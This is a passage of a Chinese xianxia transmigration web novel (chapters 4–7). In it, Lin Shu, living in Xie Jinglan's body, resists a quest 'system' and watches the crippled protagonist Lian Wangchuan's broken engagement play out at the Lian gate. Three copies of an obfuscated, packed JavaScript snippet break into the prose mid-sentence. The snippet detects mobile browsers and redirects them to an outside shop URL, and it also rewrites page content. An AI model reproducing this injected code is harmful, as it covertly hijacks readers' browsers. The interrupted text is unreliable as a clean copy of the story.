谢绍风看着乖顺的儿子,眉头松开,叹了口气:“为父知你是为了下月松溪城大比,这些年你潜心闭关,此次松溪城大比乃是你作为谢家未来的掌门人首次露面,自是要为我谢家拿个好名次,但你无需有压力,那四大世家中唯一对你有点威胁的便是连家那个‘乾坤剑体’连忘川,但那人半年前被魔修断了经脉,修为尽散,听说如今的身体连未修炼的凡人都比不过,废人一个,不足为惧。” 松溪城大比,是松溪城二十岁以下年轻修士的比试,这也是原文中提到过的一个剧情,主角那时已经修复了经脉,在这次大比上大放异彩。 感情谢景阑冒险强行进阶是为了这次大比啊,原文是从主角角度写的,这种内情原文中并没有提到。 林枢刚转过这个念头,就听系统提醒道: 【宿主,你可不要顺着他的话奚落主角。】 林枢顿时腻味地啧了一声。 —我看你们穿书局也不用做什么任务,造个金屋子把连忘川关起来得了,每天不用干别的,召集十来个系统,组个系统夸夸团,专门夸他就行了。 【……宿主您随意。】 林枢在心里怼完系统,面上仍是一片乖顺。 “儿子知道了。” 谢绍风点点头:“好生休息。” 等谢绍风走了,林枢站起来伸了个懒腰。 —连忘川被退婚是今天下午? 【是的。】 林枢摸了摸下巴,作思考状,实际却在趁机通过魂役骚扰自他醒来后就一直没吭过声的谢景阑。 “大佬,你有钱吗?” 魂役那头传来谢景阑的声音。 “有灵石,此事你该问系统。” “问它没用,我是想说,我能不能用你的钱?” 过了两秒,谢景阑回道: “无需问,用便是。” 好霸总哦。 林枢吹了声口哨,站起来。 —系统,谢景阑有多少灵石?放在哪儿?修真界物价怎么样?速速报来!这关系到我要不要做那个支线任务。 听说关系到任务,系统无比积极,把谢景阑的家底抖了个干净。 【谢景阑储物袋内有五千枚下品灵石,四千枚中品灵石,两千枚上品灵石,五百枚极品灵石,每种灵石的换算单位是一千,即一千枚下品灵石相当于一枚中品灵石,以此类推。】 【一个不修炼的凡人一年吃穿用度大概是50-100枚下品灵石,修士因为有武器、丹药等开销,上限很高,但要是只说吃穿住行的话,一年开销大概是200枚中品灵石。】 林枢简单算了算。 —哇哦,那谢景阑很有钱啊。 【谢家在北洲皇朝时期是实权城主,掌握着一条松溪城的灵脉,家底颇丰,北洲皇朝覆灭后这条灵脉被分了出去,但几代城主积攒下来的灵石依旧很可观,能分到谢景阑手里做零花钱的也不少,谢景阑这些年从不出门,所以钱都攒着没花。】 林枢叹口气。 —这么多钱,看来也只能由我勉为其难受受累,替他花一下了。 【……辛苦宿主。】 . 松溪城今年最大的热闹莫过于连家那个天之骄子连忘川经脉俱断、沦为废人的事了。 先说这连忘川,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070746|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天生乾坤剑体,在五岁那年就被太初剑宗一个在外游历的长老看中,赐下信物,让其等到天狩五十五年太初剑宗开山收徒之际带着信物前去,届时可无需参加收徒试炼,直接进入内门。 如今统治修真界的四神二宗一楼七大门派,四神指的是药神谷、天衍神宫、云篆神宫、九韶神宫;二宗指的是太初剑宗和上清刀宗;一楼指的是听雪楼。 除去太初剑宗和上清刀宗,其他五个门派在上古时期都出过真神,门内皆有真神传承,“四神”门派名字中的“神”字即来源于此。 而听雪楼之所以不带“神”字,乃是因为出自听雪楼的那位上古真神为“情神”花念。 情修一道对心性要求极高,修炼途中稍有不慎便心魔丛生,若是不能堪破心魔,便会堕入魔道,沦为魔修,是以听雪楼并不要求门中弟子走情修一道,自恃不以情神传承立派,故而不带神字。 太初剑宗和上清刀宗作为没有上古真神传承的门派,能够与其他五大门派并立,足以见其实力。 修真界自上古时期诸神大战之后就再无人飞升,上古真神也都在诸神大战中陨落,如今的七大门派皆无真神坐镇,论起实力,占据头筹的不是出过真神的五个门派,而是剑修人才辈出的太初剑宗。 连忘川作为太初剑宗的准内门弟子,在松溪城可谓无人不知无人不晓,纷纷称其为松溪城年轻一代第一人,前途不可限量。 可这么一个风头无两、惊才艳艳的少年天才,却在今年年初的一次历练中被魔修断了经脉,从顶端跌落,沦为废人,如何不叫人震惊? 而今日,这个热闹又添了一把新柴。 连家曾为连忘川定下一门娃娃亲,订婚对象是松溪城另一世家江家的嫡女江锦月,江锦月也是一个修炼天赋极高的天才,于阵修一途上极有天赋,如今已是天衍神宫的弟子。 这二人原先可谓是郎才女貌,天作之合,但这段原本人人称赞的好姻缘,在连忘川经脉俱断后就显得十分不般配了,想也知道这门亲事定然是要作废的,单看江家何时上门去退婚。 松溪城的老百姓们纷纷翘首引领,等着看这个热闹何时收尾。 今天终于是等到了,听说江锦月这段时间从天衍神宫休沐回家,日前差人给连家递了拜帖,今日便要同长辈一齐上门。 至于上门做什么?肯定是退婚啊! 等着看热闹的人不动声色地将连府对面那条街坐满了。 虽说这两家都是松溪城有头有脸的大户,不至于在大门口就闹起来,面上必然还是要互相留点面子的,守着连府大门也不一定能看到什么,但古往今来,热闹和八卦向来具有极其强大的吸引力,就是看不到,吃第一口瓜也好啊! 于是今日连府对面的店铺生意异常火爆。 林枢看过原文,知道原文里这两家还真是在大门口就闹起来了。 他带着谢景阑的巨款,施施然挑了一家连府对面的酒楼,也用不着在大堂同别人挤,直接大手笔地在二楼开了个视野超好的包厢,点了一大桌子菜,边吃东西边安安心心等着打卡名场面。 看着楼下热闹非凡的街道,林枢往嘴里丢了一粒花生米,摇头感叹。 看热闹果然是人类的天性。 5. 第 5 章 正值七月盛夏,艳阳高照,午后的天气尤其燥热,小晴擦了擦脸上的细汗,抱着洗好的衣物走进院子,见到站在廊下的玄衣少年,她脸色一急。 “少主,您怎么站在外头吹风呢?昨夜发热刚好,莫要受凉了!” 少年有着一张极为俊朗的脸,剑眉星目,长身玉立,本是英气逼人的长相,但因其脸色苍白,带着丝病气,便硬生生将那股英气削减了几分,显得有些羸弱。 明明是酷暑时节,他却穿得里三层外三层,似是生活在数九寒天之中。 听到小晴的声音,少年嘴角微动,勾出一个极为讽刺的笑。 “如此天气,便是凡人都嫌热,偏我还吹不得风。” 小晴一怔,将余下想劝少年回房的话咽下,呐呐安慰:“少主的身体定会好起来的,等家主出关,少主去求一求家主,着人往西洲药神谷走一趟,药神谷可是有着药神传承的大宗门,若能请来药神谷的药修为公子医治,定然、定然有法子为少主修复经脉……” 连忘川听到此话眼中冷意更甚:“叔父视我为眼中钉肉中刺,我这少主之位他早就想让自己的儿子做,又岂会帮我?” 小晴愣住,还是头次探听到主人家的这等隐秘:“怎……怎么会?” “昔日父亲病重,我年纪尚小,父亲预想到他走之后下一任家主必然容不下我这个少主,便拖着病体为我与江家订了亲,这些年有江家暗中相助,加之我天赋异禀,得太初剑宗看中,这才相安无事,如今我已是个废人,眼见入太初剑宗无望,这些人拍手称快还来不及,又怎会乐意见我修复经脉?” 连忘川脸上浮现出嘲弄之色,更显出病态的苍白,他看向小晴。 “也只你是个傻的,看不清这些,你瞧瞧这院子里,机灵点的都找好门路跑了,留下来守着我这个废物少主的人还剩几个?” 小晴咬着下唇,眼眶通红,几乎滚下泪来。 “那,那我们去请江家小姐帮帮忙?江家小姐是天衍神宫弟子,天衍神宫是上古大宗,又有真神传承,或许有修复经脉的办法!” 连忘川神色意动。 主仆二人正说着话,院子外面突然着急忙慌地冲进来一个七八岁的小丫头,哭着喊着:“不好了!少主!不好了……” 小晴厉声打断:“急匆匆的像什么样子!有话好好说!” 小丫头擦了擦脸上的眼泪:“我,我出门买菜,听…听外头的人说,说……” “说什么?”连忘川问。 “说江家来人退婚了!”小丫头道。 小晴瞪大双眼,眼中顿时湿润,几乎不敢去看连忘川。 “退婚?”连忘川胸口气血翻涌,喉咙间泛出血腥味,气极了,他反倒勾出一个狰狞的笑来,“好、好!我如今落魄,一个个的便都恨不得同我划清界限!既都是些趋炎附势之徒,断了也好!不过不该是她江家与我退婚,是我连忘川要休了她!” . 林枢用筷子夹起一块烧鹅肉,放进嘴里尝了尝,眼睛顿时一亮。 这些用灵气蕴养的兽肉味道确实不错。 他又兴致勃勃地尝了几道菜,一边吃,一边留意着楼下的动静。 得益于谢景阑这具身体淬凡境四阶的实力,他虽然坐在楼上,却能将楼下众人的说话声听得一清二楚。 眼下酒楼的一楼大堂几乎坐满了人,纷纷互相交头接耳,讨论的基本都是今天江家要来连家退婚的事。 林枢眼中闪过兴味:“统,你说这些人怎么消息就这么灵通呢,都知道江家今天要上门来退婚。” 【主角在连家的位置尴尬,想看他出丑的人不在少数,连家有人故意放出消息,想让主角在大庭广众之下被退婚。】 林枢点点头:“一个成功的退婚情节,肯定要最大化写出主角的难堪与愤怒,引起读者的共鸣,如果今天这退婚是两家人坐下来,好声好气互相商量着把婚退了,那就达不到效果了。” 系统没有跟着他一起分析作者写这段情节的用意,而是叮嘱道: 【宿主,被退婚后的这段时间是主角心理最脆弱的时候,您到时去安慰他,能够轻易获得主角的好感。】 “那可不一定,”林枢放下筷子,“万一他觉得我是专程来看他笑话的呢?” 【不会的。】 【只要宿主按照我说的做,就不会出错。】 林枢挑了下眉,目光一闪:“哦。” 痛痛快快地填饱了肚子,林枢叫来小二将餐食撤下去,又道:“给我上一壶茶,要你们这儿最贵的,少爷我不差钱,再来几样茶果子,对了,有瓜子没?给我上一碟。” “有的有的,”小二笑得眼睛都眯成了一条缝,弯腰点头,“爷您稍等,小的马上给您送上来!” 林枢顺手赏了他一颗中品灵石,小二眼睛一亮,对待林枢的态度越发热络,喜笑颜开地下了楼。 “有钱的感觉真好啊。”林枢感慨。 系统不解。 【宿主,您以前也很有钱。】 林枢站在窗边惬意地吹着风:“花自己的钱哪有花别人的钱爽。” 【……您以前花的也不是自己的钱,是你爸妈给的。】 “那也是我家的。”林枢说。 系统说不过他,不吭声了。 小二动作麻利,没多久就把林枢要的东西都送了上来,林枢慢条斯理地给自己倒了杯茶,问系统:“江家的人还有多久到?” 【已经到街口了。】 林枢靠近窗口,往外看去。 只见街道一头,两架华丽精致的车辇被几匹通体雪白的骏马拉着,一前一后出现在街口,鎏金车盖上篆刻着江字家纹。 这马车一出现,顿时吸引了所有人的注意,嘈杂的街道静了片刻,又很快变得更加热闹。 “来了来了!是江家的马车!” “乖乖,真要退婚啊?” “不退能怎?难不成要江家小姐在连忘川这个废物身上吊死?” “只能道世事无常啊!这二人原先金童玉女,也是一段佳话,如今却是十分不般配了,这亲若不退,恐结出仇怨来。” “系统,那个就是主角?”林枢眯了眯眼,看向连府大门口。 一个披着玄色大髦的少年从大门出来,身边跟着一个穿着青色长裙的丫鬟。 少年站在连府门口,似是走得有些急促,呼吸不稳,脸色有种病态的苍白,由身旁的丫鬟搀着,神情阴翳,目光沉沉地看着江家的车辇驶近。 【是的。】 林枢将主角那张脸仔细扫了一圈,视线在主角那双满是阴郁的眼睛上停留了片刻,点评道:“五官端正,长得不错,就是表情太阴郁了,看起来心理状况堪忧,说真的,你们不考虑一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070747|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下给主角做个心理疏导吗?他年纪不大,突然经历了从天才跌落成废物的剧变,容易黑化啊。” 【主角不会黑化。】 系统顿了顿。 【宿主也可以用爱感化主角,呵护他、爱护他、帮助他……】 “我怎么不记得我拿的是某绿色网站高危职业之暖心师尊剧本?”林枢打断系统的话,恶寒地搓了搓手臂上的鸡皮疙瘩,“别恶心我,滚。” 白色光丝在识海深处憋屈地团成了一个团。 . 江家车架内,扎着双髻的侍女皱眉将车帘放下,看向车内的白衣少女,忧心忡忡:“小姐,连家少主站在门口,该不会是故意堵我们吧?” 车架内的少女正是与连忘川订了亲的江锦月,她长相清丽,气质娴静,听到这话,杏眼中流露出一丝诧异,摇了摇头。 “我与他虽不曾见过面,但父亲说他行事稳重,应该不至于做出此等冲动之举,今日上门,虽是为了退婚,但婚事不成,也不至于撕破脸,江家这些年全力助他坐稳少主之位,不曾对不住他。” “小姐!您把人想得太好了!他突遭巨变,谁知有没有性情大变?况且这世上之人从来都是记仇的多,记恩的少!只怕他觉得今日退婚是咱们家成心羞辱他,记恨咱们还来不及呢!” 侍女着急:“要我说,您今日就不该过来,当年订亲时未曾问过您的意见,如今退婚也该由族中包办就是,您何苦跑这一趟!” “到底是江家见他落魄才退这门亲,此举无情,我亲自走一趟,与他好生分说,也是全了这段情分,”江锦月皱紧眉头,“他若担心是羞辱,更不该在门口堵我们,你且放下心。” “就怕他不怀好意,”侍女哼了一声,“咱们江家已经仁至义尽了,没在他经脉刚断时便退婚,给他留足了时间,他若识相,早该自己主动退了这门婚事,如今都过去了半年,他没有半点表示,咱们难道还任由他继续拖着?小姐常年在天衍神宫修炼,与他本就无半点交情,莫不是还做着小姐理应倾心于他、要非他不嫁的美梦?” “书儿,”江锦月无奈,“还未曾见到人,不可如此揣测。” 书儿撅了撅嘴,但到底把嘴闭上了。 车辇行驶至连府大门前缓缓停下,连忘川盯着这两辆马车,藏在袖中的手狠狠握成拳,指尖陷入肉里,传来刺痛,他却丝毫不松手。 痛才好,越痛,越能提醒他记住今日遭人背弃之辱。 从第一辆马车上下来一个留着胡须的宽袍男子,见到眸色沉沉站在门口的连忘川,他神情微变,沉声试探:“贤侄站在此处是为何?若有什么事,吩咐下人便是,你如今身子尚未恢复,理应留在房中好生休养。” 连忘川抬眸,目光凉凉地从男子脸上扫过,面带讥讽:“伯父何必如此惺惺作态?你今日上门所为何事,我等在此处便也为了何事。” 宽袍男子正是江锦月的父亲江启同,听到连忘川的话,他眉头一皱:“你说这话是何意?” “小晴,”连忘川抬手,注意到从后面那辆马车上下来一个白衣清丽少女,想必就是他那未婚妻江锦月了,他眼中露出一丝恨意,勾起冷笑,重重吐出四个字—— “拿休书来!” 这话一出,围观的人群都静了一静,刚从马车上走下来的江锦月脚步一顿,眉峰拧紧,看向连忘川的眼神瞬间冷下。 6. 第 6 章 “竖子大胆!”江启同大怒,属于心灯境五阶的威压沉沉朝连忘川压去,连忘川整个人如折断的纸鸢一般扑倒在地上,从口中喷出一口鲜血。 正要从袖中拿出休书的小晴也没被放过,惨叫一声,摔倒在连忘川旁边,直接晕了过去。 “亲事未成,何来休书之说?” 江启同怒目圆睁,指着连忘川骂,“枉我往日还觉你是个好的,当初你父亲求上门来,以你的心性与天赋作保,我这才将女儿许给你,你今日竟敢如此出言折辱,简直狼心狗肺!不配为人!” 连忘川整个人匍匐在地上,口中满是血腥味,眼球因为沉重的威压而凸起。 “折辱……”他嗬嗬喘气,气得笑出声来,将口中腥甜压下,“怎么……只许你江家退婚羞辱我,却不许我先一步……退了这门亲?” “你要退便退!口口声声要拿出休书是为哪般?”江启同厉声问道。 “说得好听,你江家退婚之举与我写休书有何不同?我堂堂男儿遭人退婚,你们可曾想过将我的颜面置于何地?”连忘川咬牙说道。 “强词夺理!便是成了婚的夫妻也有和离的,莫不是我江家与你订了亲,就非你不可不成?”江启同怒道。 “父亲,他已生心障,与他多说无益。” 一道冷冽的女声响起,连忘川抬眸,看见那白衣少女裙摆逶迤,缓步走过来,一双冷淡的杏目垂眸俯视着他,宛如看着一只蝼蚁,脸上没有半分感情。 那冷漠的目光犹如尖刀利刃,刺入连忘川心口。 被女子瞧不起、尤其这女子还是他未婚妻时,愤恨顿时如蚀骨灼心般烧来,刺激得连忘川双目发红。 “连公子,当年交换的订亲信物与契书归还于你,也望你将信物与契书归还,这门亲事就此作罢,从此桥归桥路归路,你我之间,再无半点瓜葛。” 江锦月示意书儿,书儿拿着一块玉佩和一张契书走上前来,将东西扔在连忘川面前,也不等连忘川反应,兀自从旁边晕过去的小晴身上搜出一枚刻有江字家纹的玉佩和契书,恨恨地呸了小晴袖中露出的半纸休书一口,回到江锦月身边。 江锦月接过来看了看,确定是这两样东西后,便对江启同点点头,随后便不曾再多看连忘川一眼,冷漠的目光收回,转身回到马车上。 连忘川看着那道飘逸出尘的背影,目眦欲裂,趴在地面上的手用力握紧。 江启同冷漠地看着连忘川,指尖一动,那纸羞辱人的休书便化成了灰,随风散去,他讥笑道:“一个断了经脉的废物,还敢口出狂悖之语,今日是看在你父亲的面上,我不动你,日后你若再敢出言无状,就休怪我无情了!” 抛下这句话,江启同转身欲走,却又听见连忘川的声音。 “废物?”连忘川咳出一口血,大笑出声,他抬起头,布满血丝的双眼狠狠看向江启同,“江启同,今日之辱,我连忘川记下了,三十年河东,三十年河西,莫欺少年穷!来日我若东山再起,必将今日之事千倍百倍奉还!” 说完这话,连忘川阴鹫的视线扫过前方,四周不知何时站满了围观的人,脸上有惊讶的、有鄙夷的、有嬉笑的……纷纷对他指指点点,他一一看过,将这些脸刻骨铭心地记在心里。 江启同哼笑一声:“口气倒是大得很,我倒要看看,你一个废物,要如何东山再起。” 说完这话,江启同重重拂袖而去。 . “啧,”林枢嗑着瓜子,翘着二郎腿,看完这原文名场面,连连摇头,“这不胡闹么?” 【宿主是说江家的人吗?】 “不好意思,我说你亲亲主角呢!” 林枢一把将手里的瓜子壳扔在桌面上,拍拍手站起来,指着那边的连忘川,很是慷慨激昂地发表了一番他作为吃瓜群众的看法。 “江家好好地递了拜帖上门,想私底下把这事儿给解决了,他倒好,莫名其妙把人挡在门口,抢先羞辱了人家一番,这下好了,当着这么多人的面,人家手指头都没动就把他给打趴下了。” 林枢啧道:“果然,当一个人极度自卑的时候,就会变得极度无礼,他经脉一断,八成觉得全世界都欠他的,一只狗从他旁边路过,瞅了他一眼,他都会觉得那只狗是在嘲笑他。” 眼看着那边连忘川扶着墙,缓慢地站起来,目光仍愤恨地盯着江家的马车,林枢叹气,有些恨铁不成钢。 “你跟人姑娘纯纯利益联姻啊哥们儿,现在一没感情二没实力的,人家姑娘凭什么嫁你?清醒一点儿吧!娃娃亲早就过时了,现在提倡自由恋爱,你以后红颜知己多着呢。” “西洲软萌小药修、太初剑宗高冷大师姐、上灵试炼火辣小魔女……其他露水情缘还一大堆呢……” 林枢说着,突然想起原著里主角哪怕有了那么多红颜知己后,依旧对江锦月难以释怀,不由扶额摇头,“早就说我不喜欢看种马文了,是个女的都得喜欢他,脸真大。” 【宿主,你是站在主角这边的,别忘了你的任务。】 系统冷漠打断。 “我站主角这边的?”林枢神色一顿,又缓缓勾起一个笑来,眼中略带兴味,“系统,那你说咱们家主角为什么这么生气?” 【被人退婚,不该生气吗?】 林枢哼笑一声:“原文里明明白白写着,连忘川跟江锦月是利益联姻,江家承诺暗中保护连忘川,助连忘川坐稳少主之位,而连忘川以太初剑宗准弟子的身份,许诺日后入太初剑宗后为江家提供庇佑,现在江家保护了连忘川这么多年,从连忘川身上倒是半点好处都没收回,连忘川赚翻了好不好?有什么资格生气?” 【你们人类不是最讲情义吗?】 【江家一见主角没了价值就抛弃主角,丝毫不顾情义,是背信弃义之人。】 “你还挺有意思,我跟你讲利益,你跟我扯情义,问题是江锦月跟连忘川哪来的情义?我现在要是跟你掰扯情义,你是不是又要跟我扯其他有的没的?” 林枢笑着,捏起一粒瓜子,漫不经心地剥着,“算了,没意思,说说别的吧,听你的口气,你不是人类,那就是ai?你的学习模型都哪来的?观念和想法跟我有点冲突啊。” 【宿主,你该去做任务了。】 系统直接换了个话题。 还挺滴水不漏。 林枢垂眸,眼中闪过一丝遗憾,他往后一靠,懒散地坐在椅子里:“我可没说我今天是来做任务的。” 【你不打算做任务?】 林枢还没说话,魂役符咒内突然传来谢景阑的声音。 “别激怒它。” 眸色微动,林枢笑了笑:“支线任务,你自己说的可做可不做,我可没跟你对着干啊。” 【那你过来干什么?】 系统的声音顿时变得有些刺耳。 “吃瓜,看戏,以及完成我上辈子的遗愿,”林枢回味了一下刚才吃的那一桌子菜,“修真界的菜味道是不错,上辈子死之前没能吃成的那顿饭我现在算是放下了。” 【眼下是主角最为落魄之时,剧情很快就会触底反弹,不日主角就将找到修复经脉的机缘,你不趁这个时机获取主角的信任,以后再想接近主角就难了。】 林枢若有所思地点头:“你说得很有道理啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070748|195210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【所以宿主,你该去做任务了。】 “可我还是不想做,”林枢整个人往椅子里瘫了瘫,“我才来这多久?又是昏睡又是看戏的,很累的好不好?支线任务而已,又不是主线任务,你急什么?就不能让我好好歇会儿吗?” 系统沉默了好一会儿。 【你会后悔的。】 “那你可得好好记着,”林枢吊儿郎当地笑,“等我后悔的时候狠狠嘲笑我。” 从酒楼出来,系统没再说一句话,林枢乐得清静,回城主府时走得不紧不慢,很是悠闲地沿着街道一路逛回去,这家买点蜜饯,那家买点糖糕,边吃边走,很是愉悦。 尝了一块糖糕后,林枢通过魂役戳了戳谢景阑。 “我要是把它惹毛了会怎么样?” 谢景阑的声音传来。 “你的灵魂与它绑定,它有的是办法治你。” “是吗?”林枢慢慢嚼着一粒甜滋滋的蜜饯,眼里没什么表情,但声音带着笑意,“我长这么大还没体验过被人治是什么滋味呢,你这么一说,我倒挺想试试。” 谢景阑的声音淡淡。 “愚蠢。” 林枢嘴里叼着好吃的,满足地眯了眯眼:“那你不劝劝我?” 谢景阑的声音很轻,带着清淡渗人的浅笑:“我不劝蠢货。” 林枢啧道:“你不想我惹怒它,但我真要惹怒它你也不阻止,大佬,你这符咒下来干什么用的?总不能是光想跟我聊天吧?” “不必激我,凭你现在……”谢景阑的语气不紧不慢,“尚且不配让我出手。” “那就可惜了,”林枢本想试试魂役的作用,没想到被谢景阑看出来了,但他没有半点被谢景阑看穿目的的尴尬,“我头次被人治,比起系统,我倒更希望这人是你,没想到你心胸这么宽广,看来我这个愿望是满足不了了。” “你方才为何不按系统说的做?”谢景阑低沉好听的嗓音里带着一丝蛊惑的意味,“只需趁此时机同连忘川说上两句好话,他便会视你为知己,往后你的任务会完成得很顺利,做完了任务,系统会给予你积分奖励,你也有机会回你原来的世界。” “听着真美好,”林枢毫无感情地感叹,“可我刚才已经把连忘川痛批了一顿,转头又去安慰他,岂不是很没面子?” 这话没走心,林枢不想做这个任务的原因很简单,从这事儿上他没看出连忘川有什么值得安慰的。 一门本就因利益而起的亲事,最终因利益解除有什么不对? 连忘川这么恼羞成怒,无非是受不了自己成为被人权衡的一方、并且权衡过后的结果还是放弃;再就是掺杂了一点他脆弱的男性自尊心,大抵觉得自己被女子退婚很伤他作为男人的尊严。 总结来说就是双标么,自己权衡利弊可以、别人权衡利弊不行;男子退女子的婚可以,女子退男子的婚却要与男子休弃女子等同,什么狗屁道理。 林枢做事向来随心,不想做的事就不做,就算像谢景阑说的,系统有办法治他,那就让系统尽管试试。 谢景阑低声一笑:“你很有意思。” “谢谢,”林枢低调地咬了一块糖糕,真情实感地通过魂役符咒传达他的夸奖,“大佬,你也很大方。” 钱都让我随便花。 魂役另一头安静下来,林枢眸色微闪。 他猜测谢景阑是要利用他对付系统,今天谢景阑提醒他不要激怒系统时,他以为谢景阑想让他先获取系统的信任,可他刚才有意透露出想继续跟系统对着干的意思,谢景阑却又并不阻止。 谢景阑到底打算让他做什么? 7. 第 7 章 想不通,索性懒得想,反正多活一天赚一天,大不了就死。 林枢将满脑子疑问压下,转而研究系统。 系统言之凿凿地说他跟连忘川是站一边的,他多少有点嫌晦气,连带着对接下来还没发布的任务都有些抵触。 天道之子就这? 啧。 回到城主府,林枢让人给自己端来一盘灵果,他坐在院子里的藤椅上,悠哉悠哉地边吃果子边欣赏天边的夕阳,脑子里不动声色地琢磨原文。 日头落下,橘红色的晚霞在天边漫开,又一点一点消散,夜幕降临,白日里的热气渐渐散去,院中不时吹来习习凉风。 林枢坐在躺椅里,闭上眼睛,似是睡着了。 谢景阑院子里伺候的下人没敢打扰他,只悄悄将院中的灯点上,也都清楚谢景阑不喜人近身伺候的习惯,点完灯便轻手轻脚地退了出去。 等林枢再睁开眼时天已经完全黑了,看着头顶的星空,他的指尖轻点。 时间差不多了。 他站起来,作势伸了个懒腰,戳了戳系统。 “系统,主线任务是不是要等主角恢复经脉才会开启?” 原文里谢景阑这个角色第一次出场是在下个月的松溪城大比,在那之前主角连忘川从没听说过谢景阑这么个人,所以压根没有谢景阑的戏份。 他猜测主线任务应该要在原文里有谢景阑的戏份之后才会开启,而那时主角已经修复了经脉。 一人一统之前在酒楼里可谓不欢而散,系统安静如鸡了大半天,这时听到林枢语气如常地来找它,问的还是主线任务,它倒也没有不搭理林枢,只是顿了两秒才出声。 【是。】 “不是吧,你怎么就说一个字?这么高冷,难道你还在因为我没做支线任务而生气?” 林枢的声音里很是不可置信。 “你们人工智能也会生气?!” 【做不做支线任务是宿主的自由,系统不会生气。】 “真不生气?” 【是的。】 “可是我良心难安怎么办?” 林枢突然捂住胸口,脸带焦虑。 “我刚才睡着之后做了个梦,梦到了我以前宅家上网睁眼就玩闭眼就睡的潇洒生活,我突然特别想回家,特别想做任务。” “你说得对,现在是跟主角搞好关系的关键时刻,主角什么时候遇见他那个恢复经脉的机缘来着?我看还能不能补救一下。” 【宿主能够醒悟,这很好。】 系统似乎很是松了口气。 【主角手里有一块曾经偶然得到的剑骨,今天下午受辱之后,他会冒险融合剑骨。】 【今夜亥时,主角会出城寻找闭关之所,在松溪城南面的一座山中,他会偶然掉入一个秘境,在那处秘境里得到修复经脉的方法。】 【眼下主角刚刚出城,宿主现在追过去,还能追上。】 “太好了!” 林枢立马出了门。 谢景阑这具身体如今是淬凡境四阶初期的修为,虽还不能御剑飞行,但加快脚程不在话下,没过多久,林枢就在系统的指示下追上了连忘川。 连忘川手里拿着一把剑,正用剑撑着,一步一步慢慢往山里走。 他的身体断了经脉后本就没有好,今天下午又被江启同的威压所伤,身体状况可谓雪上加霜,脸色更加显得病殃殃的,眼神比之下午更加阴翳,似有无限愤懑。 林枢不远不近地缀在连忘川身后,以他的修为,能够轻易在不让连忘川察觉到他的情况下跟踪。 【宿主不现身吗?】 —别急。 林枢压根不是来补救那个支线任务的,他另有目的,听见系统这么问,他张口就是忽悠。 —你没看连忘川走的都是小路么?大晚上的,这种路上突然出现个人,还是我这么个风流倜傥玉树临风的翩翩贵公子,你猜他会不会怀疑? —别到时候好感没博到,反倒让他在心里先给我打上可疑标签了,你别催我,让我先观察观察情况。 系统沉默了片刻,提醒道: 【宿主,连忘川进山之后没多久就会掉入秘境,你要抓紧。】 林枢摸摸下巴。 —我记得原文里说那是个上古真神留下的秘境? 【是的。】 林枢回忆了一下原文剧情,不由啧了一声。 来了,龙傲天主角的经典金手指——牛逼哄哄又见多识广的随身老爷爷。 原文中写,这个上古真神秘境里留有一缕上古真神的神魂,主角被这缕上古真神神魂看中,从此这缕神魂就寄居在主角的识海之中,不仅给主角带来了上古真神留下的传承,还能在主角未来的旅途中为主角答疑解惑,危机时刻那缕神魂还能接管主角的身体,以真神神魂的强度替主角保命。 作为主角从人生低谷触底反弹获得的第一个金手指,这缕上古真神的神魂可以说是主角所有金手指中最牛逼的一个,甚至主角后来的一些金手指也是因为有这个上古真神的神魂在才能拿到手。 可以说,如果没有这个上古真神的机缘,主角的人生恐怕会走向跟原文截然不同的道路,甚至有可能直接卡在修复经脉这一步,不得寸进。 林枢神色微动,既然系统口口声声称连忘川是天道之子,天道之子的机缘,别人应该拿不走吧?他倒要试一试。 一边琢磨,他一边问谢景阑。 “大佬,你听说过道神吗?” 原文中主角遇见的那个上古真神的神魂自称道神,主角尊称其为“道老”。 主角作为乾坤剑体,原本应该走剑修之路,接了道神传承后,走了目前修真界众人闻所未闻的“道修”一途。 原文中有言:道神传承无比强悍,修炼至巅峰后,终点不是修士梦寐以求的飞升,而是比飞升更高一层——取代天道。 这里面还引出一段上古诸神之战的隐秘过往。 据说当年的诸神之战,正是道神挑战天道所引发的大战,其余上古真神纷纷加入其中,拥护原本的天道,道神一人独战七大上古真神和天道,最后也只是惜败。 这场大战的结果是道神不敌陨落的同时,也拉了七大上古真神垫背,天道亦被道神所伤,这才导致修真界自上古诸神之战后再无人能飞升。 如今主角接了道神传承,可以说是天时地利人和占尽,没了其他真神拦路,天道自己也残破不全,为主角未来取代天道铺好了路。 这么牛逼的设定,原文里主角竟然还能被谢景阑给干死,简直是匪夷所思,也足以看出谢景阑这人有多超模。 “你想打道神传承的主意?”谢景阑问。 这话虽然没有直接回答林枢的问题,但也表明了谢景阑知道道神。 